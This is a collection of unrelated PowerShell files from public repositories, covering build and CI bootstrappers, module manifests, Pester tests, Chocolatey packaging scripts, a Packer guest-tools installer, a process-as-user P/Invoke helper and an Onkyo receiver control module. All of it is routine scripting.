param( $PublishSuccesfulPackages, $DeploymentTargetUserName, $DeploymentTargetPassword, $FeedAPIKey, $AzureSubscriptionName, $AzureSubscriptionId, $AzureSubscriptionCertificate, $debug ) $here = Split-Path -Parent $MyInvocation.MyCommand.Path #Download everything we need and import modules . .\Bootstrap.ps1 #Configure our settings $Boxstarter.LocalRepo=(Resolve-Path "$here\..\") if($DeploymentTargetUserName.length -gt 0) { Set-BoxstarterDeployOptions -DeploymentTargetUserName $DeploymentTargetUserName -DeploymentTargetPassword $DeploymentTargetPassword } if($FeedAPIKey.length -gt 0) { Set-BoxstarterDeployOptions -DefaultFeedAPIKey $FeedAPIKey } if($AzureSubscriptionName.length -gt 0) { Set-BoxstarterAzureOptions $AzureSubscriptionName $AzureSubscriptionId $AzureSubscriptionCertificate } #We want to exit with an unsuccessful exit code if any tests fail or not tests are run at all $failedTests=0 $failedPubs=0 $testedPackage = @() Test-BoxstarterPackage -Verbose | % { if($_.Package){ $testedPackage += $_ if($_.Status -eq "failed"){ $failedTests++ } } $_ } if($PublishSuccesfulPackages.length -gt 0){ $testedPackage | Select-BoxstarterResultsToPublish | Publish-BoxstarterPackage | % { if($_.PublishErrors -ne $null) { $failedPubs++ } $_ } } if ($testedPackage.Count -eq 0) { throw "no tests performed. That cant be right." } Exit $failedTests + $failedPubs
fhchina/boxstarter
Boxstarter.TestRunner/BoxstarterBuild.ps1
PowerShell
apache-2.0
1,495
# # Module manifest for module 'LazyGit' # # Generated by: Dave Senn # # Generated on: 30.04.2020 # @{ # Script module or binary module file associated with this manifest. RootModule = 'PsGitShortcuts.psm1' # Version number of this module. ModuleVersion = '1.2.2' # ID used to uniquely identify this module GUID = '5e0c3114-c5df-4dae-9339-f2cf5170b9d8' # Author of this module Author = 'Dave Senn' # Company or vendor of this module CompanyName = '-' # Copyright statement for this module Copyright = '(c) Dave Senn. All rights reserved.' # Description of the functionality provided by this module Description = 'Provides some shortcuts for working with Git in powershell' # Minimum version of the PowerShell engine required by this module # PowerShellVersion = '5' # Supported PSEditions # CompatiblePSEditions = @() # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module ProcessorArchitecture = 'None' # Modules that must be imported into the global environment prior to importing this module # RequiredModules = @() # Assemblies that must be loaded prior to importing this module # RequiredAssemblies = @() # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @( # Up/Down "Up", "CommitAll", "AddAll", # Log "CommitCount", "GetAuthors", "GitTree", "GetChangesByAuthor", # Config "SetUserData", "SetGitEditor", "SetGitMergeTool", "SetGitDiffTool", "OpenGitConfig", # Branch "PurgeBranches", "SyncBranch", "CloseFeature", # Help "PsGitHelp" ) # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = @() # Variables to export from this module VariablesToExport = @() # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = "*" # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = @( "Git", "Shortcuts", "PSEdition_Core", "PSEdition_Desktop" ) # A URL to the license for this module. LicenseUri = "https://github.com/DaveSenn/PsGitShortcuts/blob/master/license.txt" # A URL to the main website for this project. ProjectUri = "https://github.com/DaveSenn/PsGitShortcuts" # A URL to an icon representing this module. IconUri = "https://raw.githubusercontent.com/DaveSenn/PsGitShortcuts/master/art/PsGitShortcutsIcon.png" # ReleaseNotes of this module ReleaseNotes = "Initial release." # Prerelease string of this module # Prerelease = 'alpha' # Flag to indicate whether the module requires explicit user acceptance for install/update/save RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
DaveSenn/PsGitShortcuts
PsGitShortcuts.psd1
PowerShell
mit
4,724
@{ RootModule = 'vCitrixReceiver.schema.psm1'; ModuleVersion = '1.0'; GUID = '5eada18f-4a4b-43a6-8eb7-2aeb453f846b'; Author = 'Iain Brighton'; CompanyName = 'Virtual Engine'; Copyright = '(c) 2016 Virtual Engine Limited. All rights reserved.'; Description = 'Virtual Engine Citrix Receiver DSC composite resource.'; }
VirtualEngine/VirtualEngineLab
DSCResources/vCitrixReceiver/vCitrixReceiver.psd1
PowerShell
mit
349
$CommandName = $MyInvocation.MyCommand.Name.Replace(".Tests.ps1", "") Write-Host -Object "Running $PSCommandPath" -ForegroundColor Cyan . "$PSScriptRoot\constants.ps1" Describe "$CommandName Unit Tests" -Tag 'UnitTests' { Context "Validate parameters" { [object[]]$params = (Get-Command $CommandName).Parameters.Keys | Where-Object {$_ -notin ('whatif', 'confirm')} [object[]]$knownParameters = 'SqlInstance','SqlCredential','Database','Partner','Witness','SafetyLevel','State','InputObject','EnableException' $knownParameters += [System.Management.Automation.PSCmdlet]::CommonParameters It "Should only contain our specific parameters" { (@(Compare-Object -ReferenceObject ($knownParameters | Where-Object {$_}) -DifferenceObject $params).Count ) | Should Be 0 } } } <# Integration test should appear below and are custom to the command you are writing. Read https://github.com/sqlcollaborative/dbatools/blob/development/contributing.md#tests for more guidence. #>
dsolodow/dbatools
tests/Set-DbaDbMirror.Tests.ps1
PowerShell
mit
1,038
ng build --prod --output-path "./dist" --base-href "https://emilol.github.io/angular-crumbs/" ng build bootstrap-demo --prod --output-path "./dist/bootstrap" --base-href "https://emilol.github.io/angular-crumbs/bootstrap/" ng build material-demo --prod --output-path "./dist/material" --base-href "https://emilol.github.io/angular-crumbs/material/"
emilol/angular2-crumbs
demos/demo-angular-six/build.ps1
PowerShell
mit
348
function Register-PInvoke { <# .NOTES Kindly donated by Micorsoft from: https://github.com/PowerShell/xPSDesiredStateConfiguration/blob/564bfba5bb0114623a334e1c7a8842b4996e05a6/DSCResources/MSFT_xPackageResource/MSFT_xPackageResource.psm1 #> [CmdletBinding()] param ( ) process { $script:ProgramSource = @' using System; using System.Collections.Generic; using System.Text; using System.Security; using System.Runtime.InteropServices; using System.Diagnostics; using System.Security.Principal; using System.ComponentModel; using System.IO; namespace Source { [SuppressUnmanagedCodeSecurity] public static class NativeMethods { //The following structs and enums are used by the various Win32 API's that are used in the code below [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessID; public Int32 dwThreadID; } [Flags] public enum LogonType { LOGON32_LOGON_INTERACTIVE = 2, LOGON32_LOGON_NETWORK = 3, LOGON32_LOGON_BATCH = 4, LOGON32_LOGON_SERVICE = 5, LOGON32_LOGON_UNLOCK = 7, LOGON32_LOGON_NETWORK_CLEARTEXT = 8, LOGON32_LOGON_NEW_CREDENTIALS = 9 } [Flags] public enum LogonProvider { LOGON32_PROVIDER_DEFAULT = 0, LOGON32_PROVIDER_WINNT35, LOGON32_PROVIDER_WINNT40, LOGON32_PROVIDER_WINNT50 } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public Int32 Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } public enum SECURITY_IMPERSONATION_LEVEL { SecurityAnonymous, SecurityIdentification, SecurityImpersonation, SecurityDelegation } public enum TOKEN_TYPE { TokenPrimary = 1, TokenImpersonation } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } public const int GENERIC_ALL_ACCESS = 0x10000000; public const int CREATE_NO_WINDOW = 0x08000000; internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008; internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; internal const string SE_INCRASE_QUOTA = "SeIncreaseQuotaPrivilege"; [DllImport("kernel32.dll", EntryPoint = "CloseHandle", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool CloseHandle(IntPtr handle); [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public static extern bool CreateProcessAsUser( IntPtr hToken, string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation ); [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")] public static extern bool DuplicateTokenEx( IntPtr hExistingToken, Int32 dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, Int32 ImpersonationLevel, Int32 dwTokenType, ref IntPtr phNewToken ); [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean LogonUser( String lpszUserName, String lpszDomain, String lpszPassword, LogonType dwLogonType, LogonProvider dwLogonProvider, out IntPtr phToken ); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges( IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen ); [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool OpenProcessToken( IntPtr h, int acc, ref IntPtr phtok ); [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern int WaitForSingleObject( IntPtr h, int milliseconds ); [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern bool GetExitCodeProcess( IntPtr h, out int exitcode ); [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool LookupPrivilegeValue( string host, string name, ref long pluid ); public static void CreateProcessAsUser(string strCommand, string strDomain, string strName, string strPassword, ref int ExitCode ) { var hToken = IntPtr.Zero; var hDupedToken = IntPtr.Zero; TokPriv1Luid tp; var pi = new PROCESS_INFORMATION(); var sa = new SECURITY_ATTRIBUTES(); sa.Length = Marshal.SizeOf(sa); Boolean bResult = false; try { bResult = LogonUser( strName, strDomain, strPassword, LogonType.LOGON32_LOGON_BATCH, LogonProvider.LOGON32_PROVIDER_DEFAULT, out hToken ); if (!bResult) { throw new Win32Exception("Logon error #" + Marshal.GetLastWin32Error().ToString()); } IntPtr hproc = GetCurrentProcess(); IntPtr htok = IntPtr.Zero; bResult = OpenProcessToken( hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok ); if(!bResult) { throw new Win32Exception("Open process token error #" + Marshal.GetLastWin32Error().ToString()); } tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED; bResult = LookupPrivilegeValue( null, SE_INCRASE_QUOTA, ref tp.Luid ); if(!bResult) { throw new Win32Exception("Lookup privilege error #" + Marshal.GetLastWin32Error().ToString()); } bResult = AdjustTokenPrivileges( htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero ); if(!bResult) { throw new Win32Exception("Token elevation error #" + Marshal.GetLastWin32Error().ToString()); } bResult = DuplicateTokenEx( hToken, GENERIC_ALL_ACCESS, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hDupedToken ); if(!bResult) { throw new Win32Exception("Duplicate Token error #" + Marshal.GetLastWin32Error().ToString()); } var si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = ""; bResult = CreateProcessAsUser( hDupedToken, null, strCommand, ref sa, ref sa, false, 0, IntPtr.Zero, null, ref si, ref pi ); if(!bResult) { throw new Win32Exception("Create process as user error #" + Marshal.GetLastWin32Error().ToString()); } int status = WaitForSingleObject(pi.hProcess, -1); if(status == -1) { throw new Win32Exception("Wait during create process failed user error #" + Marshal.GetLastWin32Error().ToString()); } bResult = GetExitCodeProcess(pi.hProcess, out ExitCode); if(!bResult) { throw new Win32Exception("Retrieving status error #" + Marshal.GetLastWin32Error().ToString()); } } finally { if (pi.hThread != IntPtr.Zero) { CloseHandle(pi.hThread); } if (pi.hProcess != IntPtr.Zero) { CloseHandle(pi.hProcess); } if (hDupedToken != IntPtr.Zero) { CloseHandle(hDupedToken); } } } } } '@ Add-Type -TypeDefinition $ProgramSource -ReferencedAssemblies 'System.ServiceProcess'; } #end process } #end function Register-PInvoke
VirtualEngine/RESONEAutomation
DSCResources/ROACommon/Src/Register-PInvoke.ps1
PowerShell
mit
11,278
param($minutes = 460) $myshell = New-Object -com "Wscript.Shell" for ($i = 0; $i -lt $minutes; $i++) { Start-Sleep -Seconds 60 $myshell.sendkeys(".") }
doomjaw87/P0w3rSh3ll
Examples/active.ps1
PowerShell
mit
160
<# .SYNOPSIS This is a Powershell script to bootstrap a Cake build. .DESCRIPTION This Powershell script will download NuGet if missing, restore NuGet tools (including Cake) and execute your Cake build script with the parameters you provide. .PARAMETER Script The build script to execute. .PARAMETER Target The build script target to run. .PARAMETER Configuration The build configuration to use. .PARAMETER Verbosity Specifies the amount of information to be displayed. .PARAMETER WhatIf Performs a dry run of the build script. No tasks will be executed. .PARAMETER Experimental Tells Cake to use the latest Roslyn release. .LINK http://cakebuild.net #> Param( [string]$Script = "build.cake", [string]$Target = "Default", [string]$Configuration = "Release", [ValidateSet("Quiet", "Minimal", "Normal", "Verbose", "Diagnostic")] [string]$Verbosity = "Verbose", [Alias("DryRun","Noop")] [switch]$Experimental, [switch]$WhatIf ) $TOOLS_DIR = Join-Path $PSScriptRoot "tools" $NUGET_EXE = Join-Path $TOOLS_DIR "nuget.exe" $CAKE_EXE = Join-Path $TOOLS_DIR "Cake/Cake.exe" $PACKAGES_CONFIG = Join-Path $TOOLS_DIR "packages.config" # Should we use the new Roslyn? $UseExperimental = ""; if($Experimental.IsPresent) { $UseExperimental = "-experimental" } # Is this a dry run? $UseDryRun = ""; if($WhatIf.IsPresent) { $UseDryRun = "-dryrun" } # Make sure tools folder exists if ((Test-Path $PSScriptRoot) -and !(Test-Path $TOOLS_DIR)) { New-Item -path $TOOLS_DIR -name logfiles -itemtype directory } # Try find NuGet.exe in path if not exists if (!(Test-Path $NUGET_EXE)) { "Trying to find nuget.exe in path" $NUGET_EXE_IN_PATH = &where.exe nuget.exe if ($NUGET_EXE_IN_PATH -ne $null -and (Test-Path $NUGET_EXE_IN_PATH)) { "Found $($NUGET_EXE_IN_PATH)" $NUGET_EXE = $NUGET_EXE_IN_PATH } } # Try download NuGet.exe if not exists if (!(Test-Path $NUGET_EXE)) { Invoke-WebRequest -Uri http://nuget.org/nuget.exe -OutFile $NUGET_EXE } # Make sure NuGet exists where we expect it. if (!(Test-Path $NUGET_EXE)) { Throw "Could not find NuGet.exe" } # Save nuget.exe path to environment to be available to child processed $ENV:NUGET_EXE = $NUGET_EXE # Restore tools from NuGet. Push-Location Set-Location $TOOLS_DIR # Restore packages if (Test-Path $PACKAGES_CONFIG) { Invoke-Expression "&`"$NUGET_EXE`" install -ExcludeVersion" } # Install just Cake if missing config else { Invoke-Expression "&`"$NUGET_EXE`" install Cake -ExcludeVersion" } Pop-Location if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE } # Make sure that Cake has been installed. if (!(Test-Path $CAKE_EXE)) { Throw "Could not find Cake.exe" } # Start Cake Invoke-Expression "$CAKE_EXE `"$Script`" -target=`"$Target`" -configuration=`"$Configuration`" -verbosity=`"$Verbosity`" $UseDryRun $UseExperimental" exit $LASTEXITCODE #Install-Package Cake.Tin -Source https://www.myget.org/F/caketin/api/v2 -Version 0.0.1-build-2
CakeTin/Cake.Tin
build.ps1
PowerShell
mit
2,989
$ErrorActionPreference='Stop' trap { write-error $_ exit 1 } $env:GOPATH = Join-Path -Path $PWD "gopath" $env:PATH = $env:GOPATH + "/bin;C:/go/bin;C:/var/vcap/bosh/bin;" + $env:PATH cd $env:GOPATH/src/github.com/cloudfoundry/gosigar function NeedsToInstallGo() { Write-Host "Checking if Go needs to be installed or updated..." if ((Get-Command 'go.exe' -ErrorAction SilentlyContinue) -eq $null) { Write-Host "Go.exe not found, Go will be installed" return $true } $version = "$(go.exe version)" if ($version -match 'go version go1\.[1-7]\.\d windows\/amd64') { Write-Host "Installed version of Go is not supported, Go will be updated" return $true } Write-Host "Found Go version '$version' installed on the system, skipping install" return $false } if (NeedsToInstallGo) { Write-Host "Installing Go 1.8.3" Invoke-WebRequest 'https://storage.googleapis.com/golang/go1.8.3.windows-amd64.msi' ` -UseBasicParsing -OutFile go.msi $p = Start-Process -FilePath "msiexec" ` -ArgumentList "/passive /norestart /i go.msi" ` -Wait -PassThru if ($p.ExitCode -ne 0) { throw "Golang MSI installation process returned error code: $($p.ExitCode)" } Write-Host "Successfully installed go version: $(go version)" } go.exe install github.com/cloudfoundry/gosigar/vendor/github.com/onsi/ginkgo/ginkgo if ($LASTEXITCODE -ne 0) { Write-Host "Error installing ginkgo" Write-Error $_ exit 1 } ginkgo.exe -r -race -keepGoing -skipPackage=psnotify if ($LASTEXITCODE -ne 0) { Write-Host "Gingko returned non-zero exit code: $LASTEXITCODE" Write-Error $_ exit 1 }
object88/langd
vendor/github.com/cloudfoundry/gosigar/ci/tasks/test-unit.ps1
PowerShell
mit
1,697
# Set the path of the VMWare Tools ISO - this is set in the Packer JSON file if ($ENV:PACKER_BUILDER_TYPE -eq "hyperv-iso") { Write-Output "Nothing to do for Hyper-V" exit 0 } $isopath = "C:\Windows\Temp\windows.iso" # Mount the .iso, then build the path to the installer by getting the Driveletter attribute from Get-DiskImage piped into Get-Volume and adding a :\setup.exe # A separate variable is used for the parameters. There are cleaner ways of doing this. I chose the /qr MSI Installer flag because I personally hate silent installers # Even though our build is headless. Write-Output "Mounting disk image at $isopath" Mount-DiskImage -ImagePath $isopath function parallels { $exe = ((Get-DiskImage -ImagePath $isopath | Get-Volume).Driveletter + ':\PTAgent.exe') $parameters = '/install_silent' $process = Start-Process $exe $parameters -Wait -PassThru if ($process.ExitCode -eq 0) { Write-Host "Installation Successful" } elseif ($process.ExitCode -eq 3010) { Write-Warning "Installation Successful, Please reboot" } else { Write-Error "Installation Failed: Error $($process.ExitCode)" Start-Sleep 2 exit $process.ExitCode } } function vmware { $exe = ((Get-DiskImage -ImagePath $isopath | Get-Volume).Driveletter + ':\setup.exe') $parameters = '/S /v "/qr REBOOT=R"' Start-Process $exe $parameters -Wait } function virtualbox { $certdir = ((Get-DiskImage -ImagePath $isopath | Get-Volume).Driveletter + ':\cert\') $VBoxCertUtil = ($certdir + 'VBoxCertUtil.exe') # Added support for VirtualBox 4.4 and above by doing this silly little trick. # We look for the presence of VBoxCertUtil.exe and use that as the deciding factor for what method to use. # The better way to do this would be to parse the Virtualbox version file that Packer can upload, but this was quick. if (Test-Path ($VBoxCertUtil)) { Write-Output "Using newer (4.4 and above) certificate import method" Get-ChildItem $certdir *.cer | ForEach-Object { & $VBoxCertUtil add-trusted-publisher $_.FullName --root $_.FullName} } else { Write-Output "Using older (4.3 and below) certificate import method" $certpath = ($certpath + 'oracle-vbox.cer') certutil -addstore -f "TrustedPublisher" $certpath } $exe = ((Get-DiskImage -ImagePath $isopath | Get-Volume).Driveletter + ':\VBoxWindowsAdditions.exe') $parameters = '/S' Start-Process $exe $parameters -Wait } if ($ENV:PACKER_BUILDER_TYPE -eq "vmware-iso") { Write-Output "Installing VMWare Guest Tools" vmware } elseif ($env:PACKER_BUILDER_TYPE -match 'parallels') { Write-Output "Installing Parallels Guest Tools" parallels } else { Write-Output "Installing Virtualbox Guest Tools" virtualbox } #Time to clean up - dismount the image and delete the original ISO Write-Output "Dismounting disk image $isopath" Dismount-DiskImage -ImagePath $isopath Write-Output "Deleting $isopath" Remove-Item $isopath
luciusbono/Packer-Windows10
install-guest-tools.ps1
PowerShell
mit
2,990
#example 1: Test-Connection -ComputerName mbx1 #example 2: Test-Connection -ComputerName mbx1,mbx2 #example 3: Test-Connection -ComputerName mbx1,mbx2 -Count 1 #example 4: Get-ExchangeServer | ForEach-Object{Test-Connection -ComputerName $_.Name -Count 1} #example 5: Get-Content C:\servers.txt | Where-Object {Test-Connection $_ -Quiet -Count 1} | Foreach-Object { Get-Service *exch* -ComputerName $_ }
mikepfeiffer/ex-2013-ps-cookbook
Chapter 12/VerifyingServerConnectivity.ps1
PowerShell
mit
438
[string]$Name = '' [string]$IPAddress = '' [uint32]$Port = '' [Hashtable]$Listener = $null [bool]$IsConnected = $false $Received = [hashtable]::Synchronized(@{}) function Discover { $udpClient = New-Object System.Net.Sockets.UdpClient $udpClient.EnableBroadcast = $true $udpClient.Client.ReceiveTimeout = 1000 # milliseconds $localEP = New-Object Net.IPEndPoint($([Net.IPAddress]::Any, 0)) $remoteEP = New-Object Net.IPEndPoint($([Net.IPAddress]::Any, 0)) $udpClient.Client.Bind($localEP) [byte[]]$packet = (73,83,67,80,0,0,0,16,0,0,0,11,1,0,0,0,33,120,69,67,78,81,83,84,78,13,10) $null = $udpClient.Send($packet, $packet.Count, '255.255.255.255', 60128) $response = $udpClient.Receive([Ref]$remoteEP) # Get the command length. We need to convert to little-endian before conversion to Int32 $cmdLength = [BitConverter]::ToInt32($response[11..8], 0) $script:Name = [System.Text.Encoding]::ASCII.GetString($response[24..(13 + $cmdLength)]).split('/')[0] $script:IPAddress = $remoteEP.Address.IPAddressToString $script:Port = $remoteEP.Port $udpClient.Close() } function Connect ([string]$IPAddress, [uint32]$Port = 60128) { if (!$IPAddress) { if ($script:IPAddress) { $IPAddress = $script:IPAddress } else { throw 'Either discover receiver first or provide IP address' } } if ($script:Port) { $Port = $script:Port } $script:socket = New-Object System.Net.Sockets.TcpClient $script:socket.ReceiveTimeout = 1000 $script:socket.SendTimeout = 1000 $script:socket.Connect($IPAddress, $Port) $listenerScript = { param( [System.Net.Sockets.TcpClient] $tcpClient, [System.Management.Automation.Host.PSHost] $parentHost, [hashtable]$Received ) $stream = $tcpClient.GetStream() while ($tcpClient.Connected) { while ($stream.DataAvailable) { # Read the header and determine length of command [byte[]]$header = @() for ($i = 0; $i -lt 16; $i++) { try { $header += $stream.ReadByte() } catch { throw 'Response timed out' } } # Get the command length. We need to reverse to little-endian before conversion to Int32 $cmdLength = [BitConverter]::ToInt32($header[11..8], 0) # Now read the command [byte[]]$cmd = @() for ($i = 0; $i -lt $cmdLength; $i++) { try { $cmd += $stream.ReadByte() } catch { throw 'Error reading response' } } # Strip first two and last two bytes, convert to ASCII $responseStr = [System.Text.Encoding]::ASCII.GetString($cmd[2..($cmd.Length - 4)]) $Received[$responseStr.Substring(0,3)] = $responseStr.Substring(3) $parentHost.Runspace.Events.GenerateEvent('OnkyoMessage', 'sender', @($responseStr), $null) } Start-Sleep -Milliseconds 10 } } $newPS = [Powershell]::Create().AddScript($listenerScript).AddArgument($script:socket).AddArgument($Host).AddArgument($script:Received) $job = $newPS.BeginInvoke() $script:Listener = @{ ps = $newPS; job = $job } $script:IsConnected = $true } function Disconnect { $script:socket.GetStream().Close() $script:socket.Close() $script:listener.ps.Stop() $script:listener.ps.Dispose() $script:IsConnected = $false } function Send ([string[]]$commands) { if (!$script:socket.Connected) { throw 'Not Connected' } foreach ($command in $commands) { if ($command.length -lt 3) { continue } # If no parameter specified add QSTN to the command to query the value of the attribute if ($command.Length -eq 3) { $command += 'QSTN' } $cmd = [System.Text.Encoding]::ASCII.GetBytes($command.toUpper()) #Protocol requires all CAPS $cmdLength = [BitConverter]::GetBytes($cmd.Length + 4) # The +4 is for !1 at the begining and CR+LF at end of all commands [Array]::Reverse($cmdLength) # Make it Big-endian [byte[]]$packet = (73,83,67,80,0,0,0,16) + $cmdLength + (1,0,0,0,33,49) + $cmd + (13,10) $stream = $script:socket.GetStream() $stream.Write($packet, 0, $packet.Length) } # Write any buffered data $stream.Flush() } Export-ModuleMember -Variable ('IsConnected', 'Name', 'IPAddress', 'Port', 'Received') -Function *
paruljain/onkyo
onkyo.psm1
PowerShell
mit
4,480
$packageName = 'firefox-nightly' $softwareVersion = '58.0.1.2017092502-alpha' -Replace "^(\d+)\.(\d+)\.(\d+)[^-]+-([a-z]).*",'$1.$2$4$3' $softwareName = "Nightly $softwareVersion*" $installerType = 'exe' $silentArgs = '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' $validExitCodes = @(0) [array]$key = Get-UninstallRegistryKey -SoftwareName $softwareName $key | ForEach-Object {   Uninstall-ChocolateyPackage -PackageName $packageName `                               -FileType $installerType `                               -SilentArgs $($silentArgs) `                               -File $($_.UninstallString.Replace('"','')) `                               -ValidExitCodes $validExitCodes }
dtgm/chocolatey-packages
automatic/_output/firefox-nightly/58.0.1.2017092502/tools/chocolateyUninstall.ps1
PowerShell
apache-2.0
817
# Copyright 2012 Aaron Jensen # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. $appPoolName = 'CarbonGetIisAppPool' function Start-TestFixture { & (Join-Path -Path $PSScriptRoot '..\Import-CarbonForTest.ps1' -Resolve) } function Start-Test { Install-IisAppPool -Name $appPoolName } function Stop-Test { if( (Test-IisAppPool -Name $appPoolName) ) { Uninstall-AppPool -Name $appPool } } function Test-ShouldAddServerManagerMembers { $appPool = Get-IisAppPool -Name $appPoolName Assert-NotNull $appPool Assert-NotNull $appPool.ServerManager $newAppPoolName = 'New{0}' -f $appPoolName Uninstall-IisAppPool -Name $newAppPoolName $appPool.name = $newAppPoolName $appPool.CommitChanges() try { $appPool = Get-IisAppPool -Name $newAppPoolName Assert-NotNull $appPool Assert-Equal $newAppPoolName $appPool.name } finally { Uninstall-IisAppPool -Name $newAppPoolName } }
MattHubble/carbon
Test/IIS/Test-GetIisAppPool.ps1
PowerShell
apache-2.0
1,549
$packageName = 'outlookaddressbookview' $url = 'http://www.nirsoft.net/utils/outlookaddressbookview.zip' $checksum = 'c628f351cc6b5c28904c886cc5378eee77dfec2e584e90c8a73efa3005b383e7' $checksumType = 'sha256' $url64 = 'http://www.nirsoft.net/utils/outlookaddressbookview-x64.zip' $checksum64 = 'c38f2f4503405f96dfc732ea90dc171c9e0c521df51ec4b1526edf828b056d45' $checksumType64 = 'sha256' $toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" $installFile = Join-Path $toolsDir "$($packageName).exe" Install-ChocolateyZipPackage -PackageName "$packageName" ` -Url "$url" ` -UnzipLocation "$toolsDir" ` -Url64bit "$url64" ` -Checksum "$checksum" ` -ChecksumType "$checksumType" ` -Checksum64 "$checksum64" ` -ChecksumType64 "$checksumType64" Set-Content -Path ("$installFile.gui") ` -Value $null
dtgm/chocolatey-packages
automatic/_output/outlookaddressbookview/2.13/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
1,027
# Copyright © 2017 Chocolatey Software, Inc. # Copyright © 2015 - 2017 RealDimensions Software, LLC # Copyright © 2011 - 2015 RealDimensions Software, LLC & original authors/contributors from https://github.com/chocolatey/chocolatey # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. function Install-ChocolateyPath { <# .SYNOPSIS **NOTE:** Administrative Access Required when `-PathType 'Machine'.` This puts a directory to the PATH environment variable. .DESCRIPTION Looks at both PATH environment variables to ensure a path variable correctly shows up on the right PATH. .NOTES This command will assert UAC/Admin privileges on the machine if `-PathType 'Machine'`. This is used when the application/tool is not being linked by Chocolatey (not in the lib folder). .INPUTS None .OUTPUTS None .PARAMETER PathToInstall The full path to a location to add / ensure is in the PATH. .PARAMETER PathType Which PATH to add it to. If specifying `Machine`, this requires admin privileges to run correctly. .PARAMETER IgnoredArguments Allows splatting with arguments that do not apply. Do not use directly. .EXAMPLE Install-ChocolateyPath -PathToInstall "$($env:SystemDrive)\tools\gittfs" .EXAMPLE Install-ChocolateyPath "$($env:SystemDrive)\Program Files\MySQL\MySQL Server 5.5\bin" -PathType 'Machine' .LINK Install-ChocolateyEnvironmentVariable .LINK 